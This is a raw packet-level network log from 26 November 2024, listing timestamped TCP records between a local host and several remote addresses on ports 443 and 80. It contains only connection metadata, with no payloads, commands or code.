Nov 26, 2024 16:31:11.126763105 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:11.126770973 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:11.126905918 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:11.126971006 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:11.504761934 CET	49719	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:11.504787922 CET	443	49719	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:11.505155087 CET	443	49719	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:11.505264044 CET	49719	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:11.505866051 CET	49719	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:11.505897045 CET	443	49719	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:11.669537067 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:11.669559956 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:11.669631004 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:11.669639111 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:11.669821978 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:11.671559095 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:11.671576023 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:11.947026014 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:12.058262110 CET	443	49719	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:12.058289051 CET	443	49719	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:12.058329105 CET	49719	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:12.058350086 CET	443	49719	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:12.058367014 CET	49719	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:12.058427095 CET	49719	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:12.059500933 CET	443	49719	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:12.059542894 CET	443	49719	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:12.059560061 CET	49719	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:12.059587002 CET	49719	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:12.071989059 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:12.072124958 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:12.078737020 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:12.098297119 CET	49719	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:12.098314047 CET	443	49719	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:12.202755928 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:12.273387909 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:12.273421049 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:12.273526907 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:12.273762941 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:12.273780107 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:12.718297958 CET	49722	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:12.718329906 CET	443	49722	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:12.718404055 CET	49722	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:12.719877005 CET	49722	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:12.719887972 CET	443	49722	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:12.956871986 CET	49723	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:12.956887007 CET	443	49723	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:12.956981897 CET	49723	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:12.958293915 CET	49723	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:12.958302021 CET	443	49723	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:12.996632099 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:12.996648073 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:12.996758938 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:12.998531103 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:12.998538017 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:12.998620987 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:12.999349117 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:12.999402046 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:12.999504089 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:12.999775887 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:12.999783993 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:12.999839067 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:13.000091076 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:13.000097036 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:13.000328064 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:13.043154001 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:13.043178082 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:13.043297052 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:13.043307066 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:13.043881893 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:13.043895006 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:13.043967009 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:13.043978930 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:13.044262886 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:13.044270992 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:13.451380968 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:13.451530933 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:13.482317924 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:13.606266022 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:13.948146105 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:13.952179909 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:14.072469950 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:14.072498083 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:14.072593927 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:14.073244095 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:14.073257923 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:14.100274086 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:14.221720934 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:14.236808062 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:14.237142086 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:14.241159916 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:14.241170883 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:14.264441967 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:14.264450073 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:14.550920010 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:14.551078081 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:14.551179886 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:14.551254034 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:14.552901983 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:14.591074944 CET	443	49722	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:14.591135025 CET	49722	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:14.591797113 CET	49722	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:14.591806889 CET	443	49722	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:14.592247963 CET	49722	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:14.592255116 CET	443	49722	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:14.672888994 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:14.685905933 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.686014891 CET	49674	443	192.168.2.6	173.222.162.64
Nov 26, 2024 16:31:14.686063051 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.687524080 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.687616110 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.713152885 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.713274956 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.734925985 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.734992981 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.736361980 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.736466885 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.787590027 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.787600994 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.787792921 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.787798882 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.787900925 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.787977934 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.788074017 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.788096905 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.788228989 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.788237095 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.788367987 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.788535118 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.788768053 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.788779974 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.789024115 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.789153099 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.789153099 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.789642096 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.789654970 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.789846897 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.789850950 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.789875031 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.789932013 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.790369034 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.790379047 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.790604115 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.790770054 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.790770054 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:14.794135094 CET	49673	443	192.168.2.6	173.222.162.64
Nov 26, 2024 16:31:14.835334063 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.835336924 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:14.872728109 CET	443	49723	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:14.872819901 CET	49723	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:14.873826027 CET	49723	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:14.873835087 CET	443	49723	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:14.874545097 CET	49723	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:14.874551058 CET	443	49723	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:14.922713041 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:14.922734022 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:14.922785997 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:14.922789097 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:14.922830105 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:14.922836065 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:14.922858000 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:14.922878027 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:14.934798002 CET	49672	443	192.168.2.6	173.222.162.64
Nov 26, 2024 16:31:15.005187035 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:15.005264997 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:15.005647898 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:15.005661011 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:15.005726099 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:15.007122993 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:15.007134914 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:15.007178068 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:15.007193089 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:15.008456945 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:15.008522987 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:15.010054111 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:15.035095930 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:15.035190105 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:15.035402060 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:15.035437107 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:15.035490036 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:15.132319927 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:15.173039913 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.173067093 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.173082113 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.173191071 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.173191071 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.173218012 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.173270941 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.173633099 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.173661947 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.173702002 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.173763990 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.173763990 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.173784018 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.173830032 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.206990004 CET	443	49722	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:15.207015038 CET	443	49722	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:15.207082033 CET	49722	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:15.207110882 CET	443	49722	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:15.207161903 CET	49722	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:15.207838058 CET	443	49722	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:15.207890034 CET	443	49722	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:15.207902908 CET	49722	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:15.207937002 CET	49722	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:15.209005117 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.209028006 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.209064007 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.209101915 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.209157944 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.209166050 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.209239960 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.216775894 CET	49722	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:15.216795921 CET	443	49722	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:15.245526075 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.245563030 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.245580912 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.245595932 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.245608091 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.245637894 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.245690107 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.282252073 CET	443	49723	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:15.282277107 CET	443	49723	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:15.282330990 CET	49723	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:15.282347918 CET	443	49723	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:15.282357931 CET	49723	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:15.282386065 CET	49723	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:15.282409906 CET	443	49723	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:15.282450914 CET	49723	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:15.283073902 CET	49723	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:15.283087969 CET	443	49723	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:15.314996958 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.315028906 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.315077066 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.315118074 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.315148115 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.315152884 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.315207958 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.357125044 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.357168913 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.357264042 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.357281923 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.357310057 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.357347965 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.360959053 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.360985041 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.361037970 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.361063004 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.361100912 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.361131907 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.521214962 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521215916 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521236897 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521236897 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521322966 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.521333933 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521370888 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.521389961 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521400928 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.521413088 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.521430969 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.521435022 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521446943 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521487951 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521491051 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.521507978 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.521509886 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:15.521512032 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521537066 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.521576881 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:15.521684885 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521697044 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521701097 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521712065 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521723032 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.521728992 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521748066 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.521754026 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521764994 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.521775007 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521821022 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.521869898 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.521869898 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.521874905 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521899939 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521912098 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521915913 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521927118 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521975040 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.521975040 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.521982908 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.521998882 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.522023916 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.522039890 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.522063971 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.522063971 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.522139072 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.522139072 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.523832083 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.523852110 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.523950100 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.523956060 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.523996115 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.550246954 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:15.550282001 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:15.555618048 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.555639029 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.555762053 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.555762053 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.555773020 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.555850983 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.571297884 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.571346045 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.571413040 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.571420908 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.571489096 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.614569902 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.614592075 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.614650965 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.614664078 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.614701986 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.614722967 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.655755997 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.655787945 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.655838013 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.655864954 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.655909061 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.655970097 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.678399086 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.678422928 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.678533077 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.678555965 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.678627014 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.689150095 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.689151049 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.689172983 CET	443	49724	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.689174891 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.689301968 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.689332962 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.689354897 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.689354897 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.689364910 CET	443	49724	150.171.27.10	192.168.2.6
